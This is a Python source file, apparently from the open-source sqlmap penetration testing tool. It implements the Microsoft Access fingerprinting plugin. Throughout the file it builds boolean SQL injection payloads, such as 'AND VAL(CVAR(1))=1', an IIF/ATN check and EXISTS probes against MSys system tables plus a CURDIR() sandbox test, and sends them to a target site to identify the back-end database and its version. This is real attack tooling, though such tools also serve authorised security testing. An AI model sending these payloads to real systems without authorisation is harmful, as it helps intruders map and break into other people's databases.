sqlmap/plugins/dbms/access/fingerprint.py

#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""

import re

from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDbms
from lib.core.settings import ACCESS_ALIASES
from lib.request.connect import Connect as Request

from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self)

    def __sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None
        if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
            if kb.dbmsVersion[0] in ("97", "2000"):
                table = "MSysAccessObjects"
            elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
                table = "MSysAccessStorage"
            if table:
                query   = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table)
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)
                retVal = "not sandboxed" if result else "sandboxed"
        
        return retVal

    def __sysTablesCheck(self):
        infoMsg = "executing system table(s) existance fingerprint"
        logger.info(infoMsg)
        
        # Microsoft Access table reference updated on 01/2010
        sysTables = { 
                        "97":           ("MSysModules2", "MSysAccessObjects"),
                        "2000" :        ("!MSysModules2", "MSysAccessObjects"),
                        "2002-2003" :   ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
                        "2007" :        ("MSysAccessStorage", "MSysNavPaneObjectIDs")
                    }
        # MSysAccessXML is not a reliable system table because it doesn't always exist
        # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")

        for version, tables in sysTables.items():
            exist = True
            for table in tables:
                negate = False
                if table[0] == '!':
                    negate = True
                    table = table[1:]
                randInt = randomInt()
                query   = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d) FROM %s" % (table, randInt, randInt, table))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)
                if result is None:
                    result = False
                if negate:
                    result = not result
                exist &= result
                if not exist:
                    break
            if exist:
                return version

        return None

    def getFingerprint(self):
        value  = ""
        wsOsFp = formatFingerprint("web server", kb.headersFp)

        if wsOsFp:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)

            if dbmsOsFp:
                value += "%s\n" % dbmsOsFp

        value  += "back-end DBMS: "

        if not conf.extensiveFp:
            value += "Microsoft Access"
            return value

        actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
        blank  = " " * 15
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp["dbmsVersion"]

            if re.search("-log$", kb.data.banner):
                banVer += ", logging enabled"

            banVer = formatDBMSfp([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = getHtmlErrorFp()

        if htmlErrorFp:
            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)

        return value

    def checkDbms(self):
        if conf.dbms in ACCESS_ALIASES:
            setDbms("Microsoft Access")
            if not conf.extensiveFp:
                return True

        logMsg = "testing Microsoft Access"
        logger.info(logMsg)

        payload = agent.fullPayload(" AND VAL(CVAR(1))=1")
        result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming Microsoft Access"
            logger.info(logMsg)

            payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DMBS is not Microsoft Access"
                logger.warn(warnMsg)
                return False

            setDbms("Microsoft Access")
            
            if not conf.extensiveFp:
                return True
            
            kb.dbmsVersion = [self.__sysTablesCheck()]
            
            return True
        else:
            warnMsg = "the back-end DMBS is not Microsoft Access"
            logger.warn(warnMsg)

            return False